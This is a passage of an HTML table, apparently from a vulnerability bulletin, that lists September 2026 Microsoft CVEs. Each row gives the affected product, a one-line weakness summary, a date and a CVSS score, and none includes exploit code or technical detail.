&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69767&quot; target=&quot;_blank&quot;&gt;CVE-2026-69767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69778&quot; target=&quot;_blank&quot;&gt;CVE-2026-69778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69797&quot; target=&quot;_blank&quot;&gt;CVE-2026-69797&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72972&quot; target=&quot;_blank&quot;&gt;CVE-2026-72972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72973&quot; target=&quot;_blank&quot;&gt;CVE-2026-72973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77901&quot; target=&quot;_blank&quot;&gt;CVE-2026-77901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78504&quot; target=&quot;_blank&quot;&gt;CVE-2026-78504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78505&quot; target=&quot;_blank&quot;&gt;CVE-2026-78505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78507&quot; target=&quot;_blank&quot;&gt;CVE-2026-78507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78511&quot; target=&quot;_blank&quot;&gt;CVE-2026-78511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Numeric truncation error in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78512&quot; target=&quot;_blank&quot;&gt;CVE-2026-78512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78514&quot; target=&quot;_blank&quot;&gt;CVE-2026-78514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78517&quot; target=&quot;_blank&quot;&gt;CVE-2026-78517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78518&quot; target=&quot;_blank&quot;&gt;CVE-2026-78518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78519&quot; target=&quot;_blank&quot;&gt;CVE-2026-78519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78521&quot; target=&quot;_blank&quot;&gt;CVE-2026-78521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds write in Microsoft Office allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78524&quot; target=&quot;_blank&quot;&gt;CVE-2026-78524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78525&quot; target=&quot;_blank&quot;&gt;CVE-2026-78525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78526&quot; target=&quot;_blank&quot;&gt;CVE-2026-78526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Double free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80080&quot; target=&quot;_blank&quot;&gt;CVE-2026-80080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80081&quot; target=&quot;_blank&quot;&gt;CVE-2026-80081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80085&quot; target=&quot;_blank&quot;&gt;CVE-2026-80085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in Microsoft Office Publisher allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81385&quot; target=&quot;_blank&quot;&gt;CVE-2026-81385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81952&quot; target=&quot;_blank&quot;&gt;CVE-2026-81952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81955&quot; target=&quot;_blank&quot;&gt;CVE-2026-81955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;External control of file name or path in Microsoft Office Word allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62804&quot; target=&quot;_blank&quot;&gt;CVE-2026-62804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Access allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69477&quot; target=&quot;_blank&quot;&gt;CVE-2026-69477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77898&quot; target=&quot;_blank&quot;&gt;CVE-2026-77898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81386&quot; target=&quot;_blank&quot;&gt;CVE-2026-81386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81388&quot; target=&quot;_blank&quot;&gt;CVE-2026-81388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81389&quot; target=&quot;_blank&quot;&gt;CVE-2026-81389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81396&quot; target=&quot;_blank&quot;&gt;CVE-2026-81396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81397&quot; target=&quot;_blank&quot;&gt;CVE-2026-81397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81398&quot; target=&quot;_blank&quot;&gt;CVE-2026-81398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81947&quot; target=&quot;_blank&quot;&gt;CVE-2026-81947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81948&quot; target=&quot;_blank&quot;&gt;CVE-2026-81948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81949&quot; target=&quot;_blank&quot;&gt;CVE-2026-81949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Double free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81950&quot; target=&quot;_blank&quot;&gt;CVE-2026-81950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81951&quot; target=&quot;_blank&quot;&gt;CVE-2026-81951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81953&quot; target=&quot;_blank&quot;&gt;CVE-2026-81953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81954&quot; target=&quot;_blank&quot;&gt;CVE-2026-81954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81956&quot; target=&quot;_blank&quot;&gt;CVE-2026-81956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81957&quot; target=&quot;_blank&quot;&gt;CVE-2026-81957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81959&quot; target=&quot;_blank&quot;&gt;CVE-2026-81959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft 365 Apps for Enterprise&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81960&quot; target=&quot;_blank&quot;&gt;CVE-2026-81960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Authentication Library&lt;/td&gt;
&lt;td&gt;Authentication bypass by capture-replay in Microsoft Authentication Library (MSAL) for Node.js allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84003&quot; target=&quot;_blank&quot;&gt;CVE-2026-84003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Authenticator for Android&lt;/td&gt;
&lt;td&gt;Improper authentication in Microsoft Authenticator allows an unauthorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80097&quot; target=&quot;_blank&quot;&gt;CVE-2026-80097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Azure CLI&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a command (&#039;command injection&#039;) in Microsoft Azure CLI allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83948&quot; target=&quot;_blank&quot;&gt;CVE-2026-83948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Dynamics 365 (on-premises) version 9.1&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in Microsoft Dynamics 365 allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65772&quot; target=&quot;_blank&quot;&gt;CVE-2026-65772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Dynamics 365 Customer Engagement V9.1&lt;/td&gt;
&lt;td&gt;Improper control of generation of code (&#039;code injection&#039;) in Microsoft Dynamics 365 allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77908&quot; target=&quot;_blank&quot;&gt;CVE-2026-77908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Edge (Chromium-based)&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Edge (Chromium-based) allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70341&quot; target=&quot;_blank&quot;&gt;CVE-2026-70341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Entra&lt;/td&gt;
&lt;td&gt;Missing authorization in Entra ID allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83941&quot; target=&quot;_blank&quot;&gt;CVE-2026-83941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Exchange Server 2016 Cumulative Update 23&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
